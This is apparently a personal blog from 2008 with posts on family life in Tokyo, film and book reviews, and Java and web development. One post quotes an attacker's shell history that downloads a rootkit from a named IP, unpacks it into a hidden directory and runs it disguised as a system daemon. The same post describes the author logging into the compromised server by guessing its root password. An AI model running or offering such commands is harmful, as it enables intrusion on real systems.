The T-Files


Thu, 25 Dec 2008

Minimum Games, Maximum Fun

Java4K is a web site that showcases compact arcade games, all of them written in Java with a maximum (jar file) size of 4KB. My current favorite is jm00 - a boomshine clone.

Christmas at home

For the first time since moving to Japan I am spending Christmas at home this year (the last time that came close was the January trip to Vienna in 2004). This is also Kai's first time to meet his great-grandmother, grand-uncle, and uncle (his grandparents and aunt have already visited him in Tokyo). He did not sleep much on the twelve-hour flight, but he did not cry the whole time either, so all in all that went well. He was very popular with the cabin crew and fellow passengers, and the flight was almost empty, so that we had plenty of room, too.

We'll be in Germany until January, 4th.

Sun, 14 Dec 2008

Are browser-based intranet applications on the way out ?

For the last three years, I have been writing intranet applications for use in corporate environments. An intranet application uses the same technologies (TCP/IP, HTTP) that are used to build web applications for public consumption on the Internet, but it is only accessible from within the company. I am now wondering if there is still much merit to this development model (as opposed to client-server software) when web applications stop being simple query and reporting screens, and pile on a richer set of functionality (and a hairier set of complexities).

Ease of deployment: One big advantage that is always attributed to web-based applications is the ease with which they can be deployed, maintained and upgraded. Since there is nothing to install on the client-side (you only need a web browser), you just install a couple of web and database servers in a central location. Contrast this to having to roll out a new version of the client application to hundreds of workstations.
I believe that this contrast is not very stark anymore: You can install local applications with a few clicks from the web browser, and applications can also update themselves automatically over the network.

No data stored on the workstation: Because all data resides on the central server, users become independent from individual workstations (they can be productive from a co-worker's desk, from their home PC, or from the hotel's business centre), and it is easier for the company to protect the data, both in the sense of keeping backups and in the sense of preventing unauthorised access (no more lost laptops with customer records). There is nothing however that prevents local applications to work in exactly the same way by just having the program itself on the workstation and loading data over the network. Client-server applications, in fact, have always worked this way.
There are big advantages of having at least a subset of the data locally available as a working copy, most notably the ability to work offline and less time spent waiting for data to load. One of the newer directions in web application development is browser-local storage, to enable exactly this feature.

Rich Intranet Applications: Before the client-server architecture, applications used to be accessed from dumb terminals, that were basically just a monitor and a keyboard, with no local computing or storage capabilities. The application itself would run on a big mainframe, which would have to handle everything down to interpreting keystrokes and redrawing the screens. In a way, traditional web-applications work like that, too: The web server creates HTML to render a page, the browser sends every click on a link and every submitted form back to the server, who in turn creates HTML for the next page.
To create a better user experience, so-called Rich Internet Applications use the scripting capabilities of modern browsers (JavaScript or Flash) to work more like client-server applications (with the client being downloaded afresh every time), in that instead of refreshing the whole page every time only the relevant pieces of data get transferred to and from the server.
So now you can have something in your browser window that looks and feels more like a client application. The first problem I have with going that way is that browsers were not designed for such usage and old-school web applications are already using ugly tricks to work around the inherent limitations of the platform. JavaScript RIA are really pushing it, and you need to have a pretty smart crew of hackers to make it all work. Otherwise it will be less usable than it was before. The second problem is that it blurs the lines, and whereas it was previously clear that some things cannot be done in a browser, everything seems up for grabs now, including things that still cannot be reasonably done in a browser.
The best RIA (like GMail) are not trying to replicate desktop applications exactly, but enhance the experience of something that still feels web-ish. There is a cultural gap between the Internet crowd and people who attach Word files to emails (and print them), and there are still different tools for different jobs. When you end up promising people that they can do everything they can in Word or Excel on the web now, you will be trying to fix formatting and printing and layout issues forever.

Cross-platform: Web applications can be accessed from Mac and Linux machines as well, and they continue to work after a Windows update. Again, for web applications done right, this may be the case, but there are so many subtle and poorly documented bugs and idiosyncrasies among browsers and browser versions that you need a pretty smart crew of hackers to make it all work. Especially when you go the RIA route. As a business software maker these technological details are probably not what you should spend your manpower on.
Client applications can be reasonably cross-platform as well. For business applications you may be fine with a Windows-only solution anyway, which thanks to C# and .NET should be much less painful than in the old days of DLL hell. Or you could use Java. Whatever development tools you use, writing client applications gives you much more (complete?) control over how your application is going to look and behave, a fact that should make any developer, tester, user manual author, or product manager happy.
Another thing about cross-platform applications is that in order to work equally well on many platforms they tend to ignore the more advanced features that set each of those platforms apart. So for a really extraordinary user experience you may need to focus on one platform. This is the reasoning behind most Mac-only software. On the other hand, when you are writing business software, the people that make the buying decision are not usually the people using the software, so you are probably not aiming for extraordinary user experience anyway.

Sun, 30 Nov 2008

Bachelor Pad: One more week

Cissy and Kai were supposed to come back from Shanghai today, but since I have to go on a business trip to Fukuoka for most of next week, we delayed this until next weekend. Here are two data points concerning their long absence.

I like pizza, but so far have very rarely ordered a delivery since coming to Japan, partly because I avoid telephones as much as possible, mostly because it is expensive. Last weekend I created an online account with Domino's, and can now order food without even touching the keyboard in about eight clicks of the mouse. Which I did. Three times this week. They keep sending me discount coupons by email. It is a vicious cycle.

Yesterday, Faiz came over to watch some DVD (by bike, nonetheless. The trip took him about an hour, considerably less than when I last tried that, for which I credit his expensive gear). He commented on the increased level of disarray in the usually shipshape apartment. And that was after I had cleaned up.

Mon, 24 Nov 2008

Neil Gaiman: American Gods

Shadow had done three years in prison. He was big enough and looked don't-fuck-with-me enough that his biggest problem was killing time. So he kept himself in shape, and taught himself coin tricks, and thought a lot about how much he loved his wife.

The best thing - in Shadow's opinion, perhaps the only good thing - about being in prison was a feeling of relief. The feeling that he'd plunged as low as he could plunge and he'd hit bottom. He didn't worry that the man was going to get him, because the man had got him. He was no longer scared of what tomorrow might bring, because yesterday had brought it.

After his release from prison, Shadow meets a strange man, who calls himself Mr. Wednesday, and whom he eventually agrees to work for. As it turns out, Wednesday is not just a strange man, but an ancient European god, who has been carried over to America by the Vikings. Like all immigrant Gods, he has found America to be a bad place: After a generation or two, the number of faithful dwindles and the immortals' power and glory rapidly fades away. Wednesday is currently on a crusade to round up other ancient deities and lead them into a war against the modern American idols, such as the Internet, Mass Media, the Car, or the Credit Card.

The book alternates between three modes: We get to follow Shadow in how he deals with a chain of supernatural events while travelling across the United States, we get to follow him behind the scenes in a series of dream sequences (that part did not really work for me), and we get to see a number of vignettes where Gods struggle with their place in modern life. Gaiman obviously did a lot of research into mythological characters, but he also shows a lot of restraint in using these references in that he does not hit you over the head with explicit explanations or introductions. Instead, the reader is encouraged to gather the background information by himself.

Sun, 23 Nov 2008

Tropic Thunder

Movie poster

Production on the Vietnam War epic Tropic Thunder (the movie in the movie) seems doomed: Costs are sky-rocketing, the schedule is slipping, and the director is unable to control his three prima-donna stars (the ageing action star, the Australian method actor, and the flatulence comedian). When the studio threatens to pull the plug, the director, the author, and the special effects guy come up with the plan drop the actors into the middle of the jungle, and let real fear inspire their acting. Unfortunately, they stumble into the territory of real heroin smugglers, and mistake them for scripted Vietcong.

Tropic Thunder (the movie about the movie in the movie) is written, produced, directed, and starred by Ben Stiller. As a big Ben Stiller fan, I have to agree that his recent offerings have been entertaining but not very memorable. With Tropic Thunder, however, he is back on the top of his game. I am also an aficionado of movies about movies, and it does not do shame to that genre, either. Wonderful cast, too, starting with the actors (Stiller, Robert Downey Jr., Jack Black, and the excellent Brandon T. Jackson and Jay Baruchel), but also the director (Steve Coogan), the agent (Matthew McConaughey with weird hair) the Vietnam vet author (Nick Nolte), and a delightfully deformed and foul-mouthed Tom Cruise.

8 points

Wed, 19 Nov 2008

The Who

Continuing our inspection of Old British Guys On Stage, Faiz and me went to see (the remaining members of) The Who tonight. While I was more or less at home with The Police, I really did not know much at all about The Who. In fact, the only song I could name off the top of my head turned out to be Pink Floyd's. Luckily, I did recognise about half of the songs that they played.

The concert took place at the venerable Budokan, which was originally built as a martial arts venue for the Olympic Games in 1964. The first rock band to perform there were the Beatles two years later (another perfect fit for the Old Guys Series). While Tokyo Dome has nicer (read: newer) facilities, the Budokan has the advantage of being much smaller (14000 seats as opposed to 55000), so that you can actually see the band.

Sun, 16 Nov 2008

The X-Files: I Want to Believe

Movie poster

The are basically two very different types of X-Files episodes, the mythology shows, that make up the main story arc about the government conspiracy to hide an alien invasion, and the monster-of-the-week shows that stand on their own and feature a wide variety of paranormal situations. The monster episodes are also quite often very funny.

The first X-Files movie falls into the first category, and because of the fact that it was meant to fit in between seasons five and six, it did not really work as a movie.

I Want To Believe shows Mulder and Scully several years after the X-Files division has been disbanded. Mulder has been disgraced and lives in isolation, Scully is a physician at a Catholic hospital. When a defrocked priest claims to have visions that could help save the live of a missing FBI agent, the Bureau calls them back in.

This one is definitely a monster show: There are no aliens, and the mythology is not even mentioned (which would have been difficult after the apparent dead end at which the final episode arrived, what with almost everyone dead and the destruction of humanity imminent). Most importantly, the film stands on its own: You do not need to know anything about the X-Files, no other characters from the series other than Mulder and Scully (and a bit of Skinner) appear, and the plot is in its entirety contained in the film's 104 minutes, including a real conclusion, something that many Hollywood movies aiming for a sequel intentionally obmit. On the other hand, there is not too much fodder for the X-Philes, although the depiction of the relationship between Mulder and Scully is nicely done.

It is not a funny one, though, quite the opposite. There are also no computer-generated monsters, massive special effects, larger-than-life supervillains, or a great many action sequences. It is a serious thriller, with just a sprinkle of the paranormal.

7 points

Sat, 15 Nov 2008

The Java Posse

I have been known to put forth a thousand and one reasons to love Perl, and an equal number of things that I want to see fixed in Java. Well, for the last three years I have professionally been programming in Java exclusively, and even more telling, I write Java code in my spare time, too. So I suppose it is time to come clean and update the official party line.

  • I still maintain that a team of skilled developers can be more productive using dynamic languages such as Perl (or Python, or Ruby), and that they will enjoy it more, too.
  • I also concede that for a development environment that consists of bigger teams with significant member turnover and programmers of varying skill levels, the restrictions on style and the relative verbosity that Java enforces can be very helpful to ensure a minimum code quality.
  • While Java development requires a lot of tooling that a dynamic programmer could do without, once you get used to the tools, which are now very mature and numerous, they can do amazing things for you, most of which depend on deriving useful information from the Java code, something that is very hard to do in a dynamic language.
  • Much of the boilerplate traditionally necessary in Java has been eliminated with the release of Java 5 and EJB 3. Most of what is left can be automatically created by tools.
  • Regardless of the Java language, the Java Virtual Machine, especially Sun's Hotspot VM, is a remarkable piece of technology (I hear that Microsoft's Common Language Runtime deserves an equal amount of respect). It is not to Perl's advantage that both Python and Ruby, as well as a couple of hot new languages like Scala, can run on top of the JVM, whereas Perl does not.
  • I like Sun Microsystems themselves, especially since they have started embracing the open source model in earnest.
  • I still don't like PHP.

A Programming Note concerning Thilo's Tech Radio: To celebrate the occasion let us all listen to an excellent episode of the Java Posse. The recording quality is a bit poor, but the content is excellent.

In order to include programmes from outside the IT Conversations Network, I had to move the RSS file to my own server, so please re-subscribe to the new feed (put together using the very promising Spokenword site, currently in public alpha).

Quick, open the hatch!

Mon, 10 Nov 2008

Be Kind Rewind

Movie poster

Mr. Fletcher (Danny Glover) runs a video rental store in Passaic, New Jersey. Business is slow (probably because he still only offers VHS) and is unlikely to be able to pay for building repairs to avoid demolition, so Fletcher decides to take a few days off to spy on a successful DVD store and learn their business secrets. He leaves his store in the hands of his adopted son Mike (Mos Def) and his paranoid friend Jerry (Jack Black). Unfortunately, a freak accident at the local power plant has left Jerry magnetized and his mere presence erases all the tapes. The only solution is for Mike and Jerry to quickly reshoot the movies themselves, starting with Ghostbusters and Rush Hour 2. Their sweded films turn out to be a big success.

8 points

Sun, 09 Nov 2008

Peeping Tom Predicament

On the train to work today (yes, I know that it is Sunday, let us not talk about it) I was standing next to a lady who was proof-reading a recommendation letter for Tomoko , a customer support representative (name changed to protect the innocent). I know about that because I was reading along with her, a reprehensible habit that I often exercise during commutes.

I was immediately shocked by the enormity of the letter. My image of a recommendation letter has always been something short, maybe two or three paragraphs with some padding. This thing, however, was four full pages in a reasonable small font with meager margins and little line spacing.

My predicament came in the form of an unusually unfortunate spelling mistake in a sentence that, judging by the progress of the red marker pen across the page, the proof-reader had already accepted:

Tomoko was able to handle many males in a short period.

Now, what was I suppose to do? One wants to help, of course, but that would entail admission to prior inappropriate behaviour.

I alighted hoping that Tomoko's career will not suffer.

Tue, 04 Nov 2008

Off to Shangkai (and back again)

I have just returned from an extended weekend trip to Shanghai to visit Cissy and Kai.

On the flight there, for the first time ever, I exchanged words with my fellow passengers: I was sitting between a Finnish former Ryanair flight attendant (then based in the euphemistically named Frankfurt-Hahn airport) , and an Israeli manufacturing equipment salesman (who travelled with a box of cutting instruments). Both of them knew a quite a bit about airplanes, and about operating the emergency exit, which is what we were seated directly in front of. The Israeli, a frequent flyer, even had had to go out through it and across the wing once. Fortunately nothing of the sort happened, even though it was a bumpy ride, to the extent that food service was delayed, but not to the extent of it actually having to be cancelled.

On the flight back, I finally got a chance to ride the Shanghai Transrapid, pride of German engineering and too expensive for Germany itself to build, from Shanghai to Pudong International Airport. This magnetic levitation train takes just ten minutes for the thirty kilometres. Wikipedia claims the operating speed to be 430 kmh, but it was only going 300 today.

Northwest Airlines, which had over the weekend agreed to merge with Delta and changed their on-board entertainment program accordingly, decided to place me at the emergency exits again, which is fine as it provides for extra leg room and you can look at the flight attendants also sitting there. No conversations this time, except to apologise for the back of my seat refusing to stay upright and instead gradually reclining at the expense of the people in the next row , but I got a good book from the airport bookstore (Neil Gaiman: American Gods, more on that later).

About a year ago, Japan started fingerprinting and photographing all foreigners on entrance, and today was their first chance to get at my biometrics. I, of course, oppose the procedure on principal grounds, but there was nothing to be done about it (short of subjecting to deportation). Maybe a Christmas donation to Amnesty International. Interestingly enough, foreign residents in Japan used to be fingerprinted as part of their alien registration until 2000, when the practice was dropped because of a public outcry over invasion of privacy. This time around, all visitors (not only residents) are affected, the data is stored for 70 years and will be shared upon request with other agencies in Japan and abroad. I suppose this is only a stop-gap that was easy to implement because foreigners do not have much of a lobby, and the idea is to extend to program to eventually include Japanese citizens as well. Did I mention that German passports now include finger-prints?

Sun, 26 Oct 2008

Iron Man

Movie poster

First movie in a long time!

Tony Stark (Robert Downey, Jr) is a genius inventor, both incredibly wealthy and totally irresponsible, who has made his fortune creating and selling military weapons. During a kidnapping he suffers a severe heart injury that forces him to attach a power generator to his chest. His kidnappers try to make him build a missile for them, but instead he crafts a metal combat suit and turns into Iron Man.

Pretty much the only thing going for this comic book adaptation is the banter between Stark and his personal assistant (Gwyneth Paltrow), and with his buddy in the military (Terrence Howard). The plot is not all that inspired, and it does of course set up sequels (and tie-ins to other Marvel characters), and the action sequences are mostly forgettable (I did like the scene with the two fighter planes, though).

I had heard that the extra scene after the end credits gives a whole new angle to the movie (and it was even announced in the Japanese subtitles so that everyone stayed in their seats), but it was nowhere near an important last shot (think Prestige), just a teaser for the likely sequel.

5 points

Sat, 18 Oct 2008

First flight

Kai (who has two teeth now and can turn around from belly-up to belly-down by himself) embarks on his first big trip tomorrow: He and Cissy are going to Shanghai for six weeks. This obviously involves an airplane, and we hope that he does not object to a three-hour flight. The sound of a busy street with lots of cars passing by seems to soothe him, so maybe he'll actually like it. The real challenge comes in December, when all three of us are going to fly to Germany for Christmas and New Year.

Sat, 04 Oct 2008

Banana shortage

Bananas have always been the most affordable fruit in Japan and become a cornerstone of my diet. Unfortunately, the so-called Morning Banana Diet (eat only bananas and drink water at room temperature for breakfast) has recently become extremely popular, and banana sales have spiked 70% compared to last year. Retail prices have soared as well, and quiet often bananas even sell out during the day.

Last year the same thing happened with natto, and after scientists debunked the magic weight loss properties everything went back to normal.

Wed, 01 Oct 2008

Kitty sends pictures

Sun, 28 Sep 2008

Neal Stephenson: Anathem

Erasmus (the book is written in first person) is a young fraa at the Decenarian math of Saunt Edhar, whose task (in addition to studying alongside his fellow fraas and suurs, of course), includes winding the big clock in the Mynster every day during the aut of Provener. All of the avout are in preparation for the annual Apert, when the doors of Saunt Edhar will open to the Saecular world for ten days. This year will be a Decenarian Apert, and Fraa Erasmus eagerly looks forward to reconnect with his family, his first chance in the decade since he was collected.

While Stephenson starts out like his take on Harry Potter, you later get pieces more in the spirit of Jack London (a trek across the North Pole), Larry Niven (orbital adventures) and Dan Simmons (philosophising about other universes). The book sports a detailed glossary, a chronology of the four millennia leading up the story's opening, and a supplement of three mathematical exercises. An album of music inspired by the book is available on CD separately.

Sun, 21 Sep 2008

Me and Jutta wearing other people's glasses

Part Fourteen: The 3D glasses at the Magic Lamp Theater on the Arabian Coast in Tokyo DisneySea.

Sat, 20 Sep 2008

Tokyo DisneySea

Tokyo has not only one, but two Disney theme parks, Tokyo Disneyland and Tokyo DisneySea, and even though they attract a combined 26 millions of visitors a year and are just 11 km away from our apartment (they sit right next to each other, complemented by a couple of Disney resort hotels, shopping malls, cinemas, and venues for musical performances), I have not been there yet. Well, this week Jutta wanted to go, and so I accompanied her to DisneySea (because it has faster and scarier rides). She even made me ride a few of these so-called attractions that I would otherwise have stayed away from. The biggest concern I always have with theme parks are the potentially very long lines. But this was not an issue today: Because the park was not very crowded, probably because there was supposed to be rain, which did not happen, it was sunny all day long, most lines were just ten minutes or less long. You could get into even the top attraction in less than half an hour, or much less if you got a Fast Ticket in advance (assigns you a time slot in which you have to show up).

Mon, 15 Sep 2008

Back to work

Three months of paternity leave are up, and I have to go back to office this week. The timing is a little unfortunate, as my sister chose just the same week to visit us. At least it is a short week, because Monday is a holiday (Respect for the Aged Day).

Sun, 07 Sep 2008

Baby talk

Cissy pointed out today that the English I use when talking to native speakers is much better, compared to when I talk to her. I believe she has a point there. I seem to be an accomodating speaker. The first time I really noticed that was when I had a Spanish room-mate at university, and instead of correcting her somewhat broken German I started using its peculiar grammar myself. And now my English has become distinctly Japanized, as far as sentence structure, pronunciation and choice of vocabulary are concerned (a change that I hope is reversible).

The big problem with all this is that I am responsible for teaching proper German to my son. There are no other native (or even non-native) speakers around to augment or balance what he hears. For the moment, however, we communicate in the pattern just described: Kai makes happy grunting and giggling sounds, and I echo them.

Sat, 30 Aug 2008

Rotating video clips

Quick software tip: MPEG Streamclip.

Every picture viewer these days can also rotate the image by 90 degrees, but the same feature is much less available for video, so that I had to do quite a Google dance to find a way to fix a clip I shot with my mobile phone turned sideways. iPhoto cannot do it, Preview (which is surprisingly competent for photo editing ) does not do video, VLC does not do it, and I do not know how to do anything in iMovie. Quicktime Pro can do it, but that is not free. MPEG Streamclip is free, runs on Macs and Windows, and has a great number of features to cut and convert videos (if you know where to find them in the rather clunky UI).

Tue, 26 Aug 2008

Thilo's Tech Radio

One of the many tech podcasts I am subscribed and occasionally listen to are the Conversations Network's IT Conversations, which is a rather high-volume feed comprised mostly of interviews with and conference presentations by IT professionals. Once in a while a real gem comes along that I want to recommend to people. At the same time, I do not feel that I have any useful comments to add and do not want to post just the link and paste the description here, so instead I will throw them into an RSS feed for your listening pleasure. You can expect this to be low-volume (maybe an episode a month), but (I hope) fairly interesting. There are two entries now, Kent Beck with anecdotes about Design Patterns, Test-Driven and Extreme Programming, and Guy Kawasaki about the Art of Innovation.

Mon, 25 Aug 2008

If you are stupid, write enterprise software

Quote of the day, by Paul Graham.

If you don't think you're smart enough to start a startup doing something technically difficult, just write enterprise software. Enterprise software companies aren't technology companies, they're sales companies, and sales depends mostly on effort.
Thu, 21 Aug 2008

Paternity Leave

After three months here, Cissy's parents went back home to Shanghai last week. During their stay they have taken over running the household, doing all the cooking, dish-washing, shopping, laundry, cleaning and also helped to keep Kai happy during the day (and especially from six to ten in the morning so that we could get some extra hours of sleep). As a result, while Cissy was still reasonably busy, the first two months of my paternity leave have been almost a holiday.

From this week on, the daily chores fall back to us, and after another month my leave is up and I have to return to work, so Cissy will have to cope by herself from Monday to Friday.

Mon, 18 Aug 2008

Alexandre Dumas: The Count of Monte Cristo

France, 1815: Young sailor Edmond Dantes returns home to Marseille, about to marry his fiancee Mercedes and be promoted to ship's captain. Unfortunately, three jealous friends conspire to get him arrested as a Bonapartist and he becomes a secret political prisoner instead. On the prison island he begins a friendship with another inmate, an Italian priest and scholar, who over the course of the following years provides Edmond with a comprehensive education and also information about a great treasure hidden on the island of Monte Cristo.

Edmond finally escapes and uses his new-found fabulous fortunes, combined with endless patience and merciless determination, as well as thorough knowledge of the world, its peoples, and its languages, to put into motion an elaborate plan for revenge. Using a number of fake identities, most notably as the Count of Monte Cristo, he seeks out the trust of his unsuspecting enemies and arranges their downfall.

The novel is available in its entirety from Project Gutenberg, and thanks to Youtube, many television and movie adaptations are readily viewable online, too (at least in parts), so that it is easy to take a look and see what got translated to the screen and how. From what I have seen I can recommend the French 1998 miniseries with Gerard Depardieu and Ornella Muti (which seems to introduce an additional major character), and the Japanese anime Gankutsuou (which presents the tale as a space opera)

Thu, 14 Aug 2008

The Dark Knight

Movie poster

The crime lords of Gotham City are having a tough time against the combined forces of Batman (and Batman wannabes), the police squad led by Lieutenant Gordon and the new District Attorney Harvey Dent. So they turn to the Joker, an anarchist super-villain, who seems competent and crazy enough to take on Batman, but who is also mostly interested in wreaking as much havoc as possible in the process. To quote Butler Alfred, some men just want to see the world burn.

Of all the recent superhero movies, Nolan's Batman is definitely the darkest. Possibly the best one, too, and if they want to give Heath Ledger his posthumous Oscar for the Joker, I am fine with that, but the film is not as great as its current IMDb ranking (which hopefully will average out over time) would make you think. I'd put it ahead of Batman Begins, but behind Memento and Prestige.

8 points

Sat, 09 Aug 2008

Tokyo Street View

Last week, Google completed canvassing Tokyo so that you can now see the entrance hall of my house. Many people (and not only those being captured entering love hotels or urinating in the street) are not at all comfortable with this level of privacy invasion. Google may be taking things too far and risk their favourable reputation of doing no evil.

Fri, 08 Aug 2008

Missed Olympia Qualification

If someone has recommendations for a free charting application that is as easy to use as Google Docs Spreadsheets but has more options how to scale and stack the data, please let me know.

Tue, 05 Aug 2008

Computer:club 2

A public service announcement to the German language audience and another fine example how talented content creators can use the Internet to reach their audiences without the help of big media: Wolfgang Back and Wolfgang Rudolph, the two presenters of WDR Computerclub, the first and longest-running German TV show about computers, which was cancelled in February 2003, have in July 2006 revived the format on the Internet (called Computer:club 2), first as an audio podcast, and since July 2007 also with professionally produced video episodes, that look just like their former TV show.

Tue, 29 Jul 2008

SuperGenPass

With some many web sites out there that let you create accounts, you have to remember a lot of passwords these days. The easiest approach is to just use the same (or a small number of) password for all sites, which is of course a real security threat: If your password is leaked on a single site, all your accounts are compromised. The safest approach are unique and completely random passwords for all accounts. This however requires that you write down the passwords somewhere or have the web browser remember them, but then you will not be able to log in if you forgot to bring your memo or use a different computer.

Enter SuperGenPass, a free bookmarklet password generator. It is a small JavaScript program that uses a secure hash function (MD5) to derive site-specific passwords from a master password. You can then use these passwords (which look very random and do not betray the master password) for your various accounts. All computations are done in your browser, your master password is not sent or stored anywhere, and since the computation is reproducible (same master password and same site always yields the same password), there is no need to store the generated passwords either. SuperGenPass is installed just by adding a bookmark, and it integrates nicely with the sites' login pages, filling out the password boxes automatically (and if that does not work, you can still use copy-paste).

In effect, you get the convenience of using a single password for all sites, with almost the security of using random passwords. Of course, if your master password should get out (and it could theoretically be determined by a brute-force attack), all the derived passwords are also cracked. So for really important accounts, you should still use something else (or at least, a different master password).

Sat, 26 Jul 2008

Louis Sachar: Holes

Stanley Yelnats, whose name reads the same backwards and forwards, is cursed by his family's history of bad luck, which started when his no-good-dirty-rotten-pig-stealing-great-great-grandfather did not actually steal a pig, but broke a promise to a one-legged Gypsy. And so it does not come as too big a surprise when he is convicted of a crime he did not commit and sent to a juvenile detention centre in the desert, where he has to dig a hole every day, five feet deep and five feet across. This is supposed to be just a character building exercise, but the Warden takes a strange interest in what the boys dig up.

Tue, 22 Jul 2008

Root Canal

I have been rather lucky at the dentist so far: Even though I have always been eating a lot of sweets (which did not make me fat, either) and am not very dedicated or proficient with the tooth brush, I was spared cavities until my early twenties. I believe I can thank the daily fluoride tablets that I had as a child for that. Before coming to Japan I had minor cavities on three adjacent teeth on the lower right, the kind that the dentist would find during the annual inspection and immediately take care of. And three years ago there was a painful wisdom tooth that the dentist decided to extract rather than try to repair.

But now I am in the middle of root canal treatment. Two weeks ago at the regular check-up the dentist made the shocking discovery of advanced dental caries on the second upper left molar. He was surprised that I was not in pain already. I was surprised that the problem was not detected at the last check half a year ago. The damage is supposedly also clearly visible on the x-ray that was taken, although I have to take the dentist's word for that, I cannot make sense of it at all.

At least in Japan, a root canal treatment takes five or six sessions, with about a week in between. I just had the first one, in which the tooth was drilled open to remove the dental pulp, filled up with some medicine/disinfectant/anti-biotic and temporarily closed. The procedure was done anaesthetised and completely painless (thanks!). I am assuming that the scariest part of the operation is behind me now. The drugs have worn off, I had meals, and the tooth feels only a little uncomfortable. The next three sessions will be opening the tooth again to renew the medicine filling and check on its effectiveness (for which anaesthetics are not necessary). After that the tooth will be filled with (according to Wikipedia) gutta-percha, a natural latex, and capped with a crown, which apparently is rather critical/complex/costly procedure in itself.

Wed, 16 Jul 2008

Stephen King: Everything's Eventual

What I did was take all the spades out of a deck of cards plus a joker. Ace to King = 1-13. Joker = 14. I shuffled the cards and dealt them. The order in which they came out of the deck became the order of the stories, based on their position in the list my publisher sent me. And it actually created a very nice balance between the literary stories and the all-out screamers. I also added an explanatory note before or after each story, depending on which seemed the more fitting position. Next collection: selected by Tarot.

A collection of fourteen short stories (ranging from about twenty to about eighty pages) about undergoing an autopsy while still alive, meeting The Man in the Black Suit, a travelling salesman contemplating suicide, gangsters in the Thirties, escape from a torture chamber, vampires in the West, occult symbols that can kill, a theory of pets, a scary painting that keeps changing, a crazy restaurant waiter and his big knife, the feeling you can only say what it is in French, a haunted hotel room, hitchhiking with the undead, and a lucky quarter.

Wed, 09 Jul 2008

I think your server has been hacked !!!

Dear server administrators,

I think your server (72.249.xx.xx) has been hacked and is being used
for malicious purposes right now.

During a routine check of my own server (based in Germany) I found
that it was being attacked (brute-force password guessing) from
72.249.xx.xx, which is your server.

Trying to find out what to do about this, I tried to log in (via ssh)
to your server, which was trivially possible (the root password is
very, very simple, I guessed it on my first attempt).

Please change your password ASAP.

While logged in to your server, I could see that a process
was probing other servers on the Internet to find more weak passwords.
I also saw another user logged in (as root) from 79.116.xx.xx,
which may or may not be the attacker.

Since I have no business nosing around on your server, I logged out
again without doing anything.

Best regards,

Thilo Planz

I wish my UNIX-fu was stronger, I did not really know what to do about this, which is probably a good thing, since I really have no business being on their server. But still, I felt like killing this guy's processes and blocking his IP. Although, I suppose this whole thing is an automated process, and he would not even notice me slapping his fingers.

What I could see is that he was spawning lots of ssh processes, apparently searching whole IP ranges for easy root passwords (which is how he must have gotten to this American high school's server).

The command history had this interesting sequence, which downloads a root kit and then starts a hidden web server to propagate itself or maybe remotely control the machine.

  252  cd /var/tmp
  253  ls -a
  254  wget http://63.249.225.72/icons/stealth.tgz
  255  tar zxvf stealth.tgz
  256  rm -rf stealth.tgz
  257  mv l .ls
  258  cd .ls
  259  ./h -s "/usr/sbin/sshd" ./httpd

Cory Doctorow: Someone Comes to Town, Someone Leaves Town

Alan has just sold his shop and purchased a house that he plans to write his story in. He spends the rest of his time helping Kurt with his project to set up a free neighbourhood Wi-Fi network. Adam's peace is destroyed by visits from his younger brothers Eric, Fred, and George, who are a set of Russian nesting dolls (Alvin comes closest to human in his family: his father is a mountain, his mother a washing machine, the other brothers Ben, Charlie, and Dean are a psychic, an island and undead). As children, they have jointly murdered Daniel, who was intolerable in the first place and is now really angry, apparently planning to revenge himself by killing his brothers.

Sometimes billed as science-fiction, I would rather call Someone a fantasy or a horror novel. I really liked the part about Albert's family (and hope to see a future short story based in that world). The real-world subplot about the Wi-Fi network felt out of place, however. I see the need for showing how he interacts with humans, but it just felt like a lecture. It would have been more interesting to for example follow Aaron's house remodelling efforts, or maybe have him open another shop.

Fri, 04 Jul 2008

Pretty Good Privacy, anyone ?

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I'd like to experiment with signed and encrypted email.
So if anyone is using OpenPGP, please let me know your 
public keys.

Mine is:

mQGiBEhtwQARBACWVpAxTId7ZoUMoLkbjKGMqAszgEvmEyJO2H6gxhmhDkFVYgAJ
iH/PPZxS8fE/n5KOZBjgVGdW+BMQQknjMWMjLSvIf1/LNxE9pYeoBMVfZTXHycXk
+wd3JxFEqlDbW8WZMQQiLAkxpE7B2gtmyQhoCT9w/ZIkmZYjDnYL+TJpPwCgxLkj
4LXaEXFnNn3Z7PpJ7I7Uk1MEAJMuZbPpf/YT0rx9enEHmwrTs9QV5+Qif2NR44oe
p0ZlJXBcShY1TX3yVDwVS9wkpIGupzsNToJd5zw4U7u4rI/vPCs6F3n6wVbuXXfC
Jv/hODPxSHMVTp/Iy3EVn3Yrkmp7IordwKeTPEbG98z7erg4bq6Ox36lgILGfTST
ywyfA/0b8ZUQ5jyZ8XdEmCt5ntpgjjMqJT+bYCot/iaJoI5Io4cyURqe062r9PWY
jXqn2LTqTOPStp6CaV0zPgRE8cHe3LDuR9loqxme/WYIDnWsV0yLt80SUL5j0qh+
pmOvb+Z0TiWC+N3Dx4i0ywxjvhYCelf57vxy5lmb6+zP5AQRgrQfVGhpbG8gUGxh
bnogPHRoaWxvcGxhbnpAd2ViLmRlPohmBBMRAgAmBQJIbcEAAhsDBQkDwmcABgsJ
CAcDAgQVAggDBBYCAwECHgECF4AACgkQ2OZWDeB+PHXRnQCfdy1WNeGNRIc+ztW6
//5iX3hO9+gAnjil2YdGi20TtrbN0WE4O2StG+zbuQINBEhtwQAQCADzbODjkvch
9Z0Ts06B38OmhidDOKePkti3SxOK620KWF76fgeSWhZjyxdcgIcUXlhOghx7KhAR
ORbGybbrYxSthFSY7osu7RuEc0SrWNp99XswdcQYfW2nMtQ1aXfA3/PqE2kqgFvd
566eKxAmydbUTAes8CvbavEFejMfeix9bEeG/Pnn55oKemHn915VqBpCa/FWZh1+
uLlzTPU+5Igdrrvydr7u0ZlWT6GvwHP8jCA/wfG5+WrUAY8V6QRLwDiSWaJ4u57s
LdU6yGtsvY/VN08v/VCMsua4TYNquHWYpIDHqx9B4i8lI7BHDzmg5qzNN5TZjee1
dCzSmioyYWVbAAMGCAC95phNlsE8+rJpRpD9N1S2s9X9PpGjaZa1AWbGHTQGE/xa
FveeWrxjaKRBuVa5mmSYDjdu++vBAQInCKtwKV3KK6343GhV4Bh6yCfpH/k4v6ts
W+fArL0EXukOklimrHrP+VFvXKU8CPUzdtAtVt/+5dPbJ0CAQXAUkMG26ytF28Nm
dY8AXKbk45F7Eu74QeCjiBPA0B3YODEB5kQi0g0SW4mkpFrlU02p2z1NAKPx9WkP
